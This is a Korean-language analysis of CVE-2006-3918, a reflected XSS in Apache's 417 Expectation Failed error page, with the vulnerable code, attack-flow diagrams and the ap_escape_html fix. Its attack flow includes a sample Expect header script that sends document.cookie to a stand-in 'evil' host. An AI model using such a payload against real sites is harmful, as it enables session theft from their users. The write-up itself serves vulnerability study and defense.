Skip to content

Latest commit

 

History

History
246 lines (215 loc) · 16.6 KB

File metadata and controls

246 lines (215 loc) · 16.6 KB

Apache HTTP Server Expect 헤더 미이스케이프로 인한 반사형 XSS (CVE-2006-3918)

메타데이터

항목 내용
CVE ID CVE-2006-3918
영향 소프트웨어 Apache HTTP Server 1.3.3 ~ 1.3.34, 2.0.x (2.0.58 미만), 2.2.0 ~ 2.2.1; IBM HTTP Server 6.0(6.0.2.13 미만)/6.1(6.1.0.1 미만) 등 Apache 코드베이스를 재사용하는 제품
CWE CWE-79 (Cross-site Scripting)
CVSS v2 4.3 (Medium, AV:N/AC:M/Au:N/C:N/I:P/A:N) — NVD는 이후 등록된 CVSS v2 기준으로 "Not treated as security flaw" 였던 원 판단보다 다소 상향된 등급을 매겼다
공개일 2006-07-28 (NVD 등록); 최초 보고는 2006-04-10 (Thiago Zaninotti → security@apache.org); 수정은 Apache 1.3.35 / 2.0.58 / 2.2.2 (2006년 여름 릴리스)에 포함
발견자 Thiago Zaninotti
수정 커밋 Apache httpd trunk(당시 2.3-dev) 50376d16 "HTML-escape the Expect error message." (1.3/2.0/2.2 각 안정 분기에 백포트)

개요

Apache HTTP Server는 클라이언트가 Expect: 100-continue 이외의 값을 담은 Expect 헤더를 보내면, 417 Expectation Failed 에러 페이지를 만들어 돌려준다. 이 에러 페이지는 사용자가 무엇을 잘못 보냈는지 알려주려고 "클라이언트가 보낸 값"을 그대로 HTML 본문에 포함시키는데, 이때 그 값을 HTML 특수문자 이스케이프 없이 그대로 삽입했다. 그 결과 Expect 헤더 값에 <script>...</script> 같은 마크업을 넣으면, 그 마크업이 이스케이프 없이 응답 HTML에 그대로 박혀 브라우저가 이를 실행 가능한 스크립트로 해석하게 된다 — 전형적인 반사형(reflected) XSS다. 일반적인 웹페이지의 <form>이나 XMLHttpRequest는 브라우저가 Expect처럼 프로토콜 제어에 관여하는 헤더를 스크립트가 임의로 지정하지 못하도록 막기 때문에 공격 시나리오가 제한적이었지만, NVD 설명은 "임의 헤더를 보낼 수 있는 웹 클라이언트 컴포넌트(당시의 Flash SWF 등)"를 통해 이 제약을 우회하는 시나리오를 언급한다. Apache 개발팀 스스로도 최초 보고 시점에는 "공격자가 피해자의 브라우저가 보낼 Expect 헤더 값을 통제할 방법을 찾지 못했다"며 보안 결함으로 분류하지 않았지만, 이후 공개 논의에서 이 우회 가능성이 제기되며 CVE가 부여됐다.

사전 지식

HTTP Expect: 100-continue — 요청 바디를 보내기 전에 서버 의사를 먼저 묻는 메커니즘

HTTP/1.1은 PUT/POST처럼 본문이 큰 요청을 보낼 때, 클라이언트가 헤더까지만 먼저 보내고 Expect: 100-continue 헤더로 "본문을 보내도 되는지" 서버에게 물어볼 수 있게 한다(RFC 2616 §8.2.3, 현재는 RFC 9110 §10.1.1). 서버가 헤더만 보고도 이 요청을 거부할 것(예: 인증 실패, 크기 제한 초과)을 미리 알 수 있다면 100 Continue 중간 응답 없이 바로 최종 상태 코드를 돌려줘서, 클라이언트가 어차피 버려질 본문을 네트워크로 전송하는 낭비를 막는다. 문제는 Expect 헤더가 HTTP/1.1에 100-continue 단 하나의 값만 정의된 채로 추가됐다는 점이다. 클라이언트가 서버가 이해하지 못하는 다른 Expect 값을 보내면, 서버는 RFC가 요구하는 대로 417 Expectation Failed 상태 코드로 응답해야 한다. Apache는 이 검증을 ap_read_request()(server/protocol.c)에서 요청 헤더를 다 읽은 직후 수행한다.

/* server/protocol.c, ap_read_request() — 패치 전(2.3-dev 트렁크 기준 재구성) */
if (((expect = apr_table_get(r->headers_in, "Expect")) != NULL)
    && (expect[0] != '\0')) {
    if (strcasecmp(expect, "100-continue") == 0) {
        r->expecting_100 = 1;
    }
    else {
        r->status = HTTP_EXPECTATION_FAILED;
        ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r,
                      "client sent an unrecognized expectation value of "
                      "Expect: %s", expect);
        ap_send_error_response(r, 0);
        ...
    }
}

Expect: anything-else처럼 서버가 모르는 값을 보내기만 하면, 검증도 별도 인증 없이 누구나 통과할 수 있고 곧바로 에러 응답 생성 경로(ap_send_error_response)로 넘어간다.

"표준 에러 페이지 생성기" get_canned_error_string()와 요청 값 반사(reflection)

Apache는 파일 시스템에 커스텀 에러 페이지가 없을 때 보여줄 기본 HTML을 상태 코드별로 하드코딩해두는데, 이를 만드는 함수가 modules/http/http_protocol.cget_canned_error_string()이다. 이 함수는 404 Not Found에서 요청 URI를, 405 Method Not Allowed에서 요청 메서드를 보여주는 식으로 여러 상태 코드에서 클라이언트가 보낸 값을 에러 메시지에 그대로 포함시켜 "무엇이 문제였는지" 알려준다. 이때 대부분의 case는 ap_escape_html(r->pool, ...)로 값을 감싸 HTML 특수문자를 이스케이프한 뒤 삽입하지만(예: HTTP_NOT_FOUNDr->uri 처리), HTTP_EXPECTATION_FAILED 케이스만 이 호출이 빠져 있었다.

반사형 XSS와 HTML 이스케이프의 역할

반사형 XSS는 서버가 "요청에 실려온 값"을 별다른 검증·변환 없이 응답 HTML에 그대로 집어넣을 때 발생한다. 브라우저는 HTML을 파싱하면서 <script>, <img onerror=...> 같은 마크업을 만나면 그 안의 자바스크립트를 실행하는데, 이때 실행 컨텍스트(origin)는 그 HTML을 서빙한 서버의 도메인이 된다. ap_escape_html()<, >, &, " 같은 HTML에서 특수한 의미를 갖는 문자를 &lt;, &gt;, &amp;, &quot; 같은 문자 참조(entity)로 바꿔, 브라우저가 그 문자열을 "마크업"이 아니라 "그냥 텍스트"로만 렌더링하게 만든다. Expect 헤더 케이스에서는 이 변환이 빠져 있었으므로, 헤더 값에 포함된 </> 가 그대로 살아남아 브라우저에 의해 태그로 해석됐다.

취약점 분석

패치 전 코드 — 이스케이프 없이 그대로 삽입

/* modules/http/http_protocol.c, get_canned_error_string()
   (트렁크 r394965 이전, 1.3/2.0/2.2 각 분기도 동일한 형태) */
case HTTP_EXPECTATION_FAILED:
    return(apr_pstrcat(p,
                       "<p>The expectation given in the Expect "
                       "request-header"
                       "\nfield could not be met by this server.</p>\n"
                       "<p>The client sent<pre>\n    Expect: ",
                       apr_table_get(r->headers_in, "Expect"),
                       "\n</pre>\n"
                       "but we only allow the 100-continue "
                       "expectation.</p>\n",
                       NULL));

apr_table_get(r->headers_in, "Expect")는 클라이언트가 보낸 Expect 헤더의 원본 문자열을 그대로 돌려주고, 이 반환값이 apr_pstrcat()으로 다른 정적 HTML 조각들과 이어붙여져(concatenate) 그대로 응답 본문이 된다. 바로 위·아래에 있는 다른 케이스들 (HTTP_NOT_FOUND, HTTP_METHOD_NOT_ALLOWED 등)이 전부 ap_escape_html()을 거치는 것과 대조적으로, 이 케이스만 값이 이스케이프 없이 그대로 흘러 들어간다.

공격 흐름을 텍스트로 그린 그림 — 패치 전

   공격자가 만든 웹 클라이언트 컴포넌트(예: 임의 헤더 지정이 가능한 Flash SWF)가
   피해 대상 Apache 서버로 보내는 요청:

   +------------------------------------------------------------------+
   | GET / HTTP/1.1                                                    |
   | Host: victim-apache-server                                        |
   | Expect: <script>document.location='//evil/?c='+document.cookie</script>
   +------------------------------------------------------------------+
                              │
                              ▼
   ap_read_request() (server/protocol.c)
   → strcasecmp(expect, "100-continue") != 0
   → r->status = HTTP_EXPECTATION_FAILED
   → ap_send_error_response(r, 0) 호출
                              │
                              ▼
   get_canned_error_string(417, r) (modules/http/http_protocol.c)
   → apr_table_get(r->headers_in, "Expect")  // 이스케이프 없이 원본 그대로 획득
   → apr_pstrcat(...)  // 정적 HTML 조각과 그대로 이어붙임
                              │
                              ▼
   +------------------------------------------------------------------+
   | <p>The client sent<pre>                                           |
   |     Expect: <script>document.location='//evil/?c='+document.cookie</script>
   | </pre>                                                             |
   | but we only allow the 100-continue expectation.</p>               |
   +------------------------------------------------------------------+
        ▲
        └─ 겹치는 지점: 헤더 값의 "<script>...</script>"가 HTML 마크업으로
           그대로 파싱됨 (원래는 <pre> 안의 "그냥 텍스트"여야 했다)
                              │
                              ▼
   브라우저가 victim-apache-server 오리진에서 응답을 렌더링하며 스크립트 실행
   → victim-apache-server 오리진 하에서 쿠키 탈취 등 반사형 XSS 성립

일반적인 브라우저 자바스크립트(fetch/XMLHttpRequest/<form>)는 Expect처럼 프로토콜을 제어하는 헤더 이름을 스크립트가 임의로 세팅하지 못하도록 막아두기 때문에, "피해자의 브라우저가 스스로 이 헤더를 보내게 만들기"는 쉽지 않다. NVD 설명이 "임의 헤더를 보낼 수 있는 웹 클라이언트 컴포넌트를 Flash SWF로 시연했다"고 명시한 것은 이 제약을 우회하는 별도의 경로가 있었다는 뜻인데, 이 우회 기법 자체의 구체적인 동작 방식은 이 리포트에서 1차 자료로 검증하지 못했다(아래 "미해결/불확실 지점" 참고). 다만 Apache 개발팀 커밋 메시지 자체가 "공격자가 피해자의 브라우저가 보낼 Expect 헤더 값을 통제할 뚜렷한 방법을 찾지 못했다"고 명시한 점에서, 이 XSS는 헤더 이스케이프 누락이라는 근본 원인은 명확하지만 실제 공격 성립 조건(임의 헤더 전송 경로)이 당시에도 논쟁적이었음을 알 수 있다.

수정 방법

수정 커밋 50376d16HTTP_EXPECTATION_FAILED 케이스에도 다른 케이스들과 동일하게 ap_escape_html() 호출을 추가했다.

--- a/modules/http/http_protocol.c
+++ b/modules/http/http_protocol.c
@@ -996,7 +996,7 @@ static const char *get_canned_error_string(int status,
                            "request-header"
                            "\nfield could not be met by this server.</p>\n"
                            "<p>The client sent<pre>\n    Expect: ",
-                           apr_table_get(r->headers_in, "Expect"),
+                           ap_escape_html(r->pool, apr_table_get(r->headers_in, "Expect")),
                            "\n</pre>\n"
                            "but we only allow the 100-continue "
                            "expectation.</p>\n",

ap_escape_html(pool, s)s를 순회하며 <, >, &, " 를 각각 &lt;/&gt;/&amp;/&quot; 로 치환한 새 문자열을 pool에서 할당해 반환한다. 이 변경 이후 Expect 헤더 값에 어떤 마크업을 넣어도, 응답 HTML에는 그 마크업이 "태그"가 아니라 "문자 그대로의 텍스트"로만 나타나므로 브라우저가 이를 실행 가능한 스크립트로 해석할 수 없다. 이 수정은 트렁크(당시 2.3-dev, 이후 2.4 계열)에 먼저 반영됐고, 커밋 메시지에서 밝힌 대로 1.3/2.0/2.2 각 안정 분기에도 백포트되어 각각 Apache 1.3.35, 2.0.58, 2.2.2에 포함됐다. Apache 개발팀은 이 문제를 "공식 보안 결함으로 분류하지는 않지만 고쳐야 할 버그"로 취급했는데, 이는 위에서 언급한 "공격자가 피해자의 Expect 헤더 값을 통제하기 어렵다"는 판단 때문이었다 — 다만 방어적으로는 다른 반사값 처리와 동일하게 이스케이프를 일관 적용하는 것이 맞다고 보고 수정했다.

텍스트로 그린 그림 — 패치 후

   동일한 공격 요청:
   Expect: <script>document.location='//evil/?c='+document.cookie</script>
                              │
                              ▼
   get_canned_error_string(417, r)
   → ap_escape_html(r->pool, apr_table_get(r->headers_in, "Expect"))
       "<script>...</script>"
              │
              ▼  각 특수문자를 문자 참조로 치환
       "&lt;script&gt;document.location=&#39;//evil/?c=&#39;+document.cookie&lt;/script&gt;"
       (실제 구현은 <, >, &, " 만 치환. 작은따옴표는 별도 대상 아님 — 예시 단순화)
                              │
                              ▼
   +------------------------------------------------------------------+
   | <p>The client sent<pre>                                           |
   |     Expect: &lt;script&gt;document.location=...&lt;/script&gt;    |
   | </pre>                                                             |
   | but we only allow the 100-continue expectation.</p>               |
   +------------------------------------------------------------------+
        ▲
        └─ 브라우저는 이 문자열을 <pre> 블록 안의 "일반 텍스트"로만 렌더링
           (화면에 "<script>..."라는 글자 자체가 그대로 보일 뿐, 태그로 파싱되지 않음)
                              │
                              ▼
   스크립트 실행 없음 → 반사형 XSS 성립하지 않음

참고 자료

미해결/불확실 지점

  • NVD 설명이 언급하는 "임의 헤더를 보낼 수 있는 Flash SWF" 우회 기법의 구체적인 동작 방식(어떤 Flash API를 썼는지, crossdomain.xml 정책이 어떻게 관여했는지 등)은 원 발견자 Thiago Zaninotti의 상세 보고서나 당시 관련 연구(예: Amit Klein의 Flash 기반 HTTP 헤더 위조 연구로 추정되나 확인되지 않음)에 접근하지 못해 1차 자료로 검증하지 못했다. 이 부분은 "확인 필요"로 남겨둔다.
  • Apache 1.3.x 분기의 실제 백포트 diff(modules/http/http_protocol.c가 트렁크와 구조가 동일한지 여부 포함)는 별도로 확인하지 못했다. 커밋 메시지에 언급된 대로 1.3/2.0/2.2 분기에 각각 백포트됐다는 사실은 Apache 공식 취약점 목록과 Debian 패키지 버전(1.3.35 이상)으로 간접 확인했으나, 각 분기별 실제 diff 자체를 직접 대조하지는 않았다.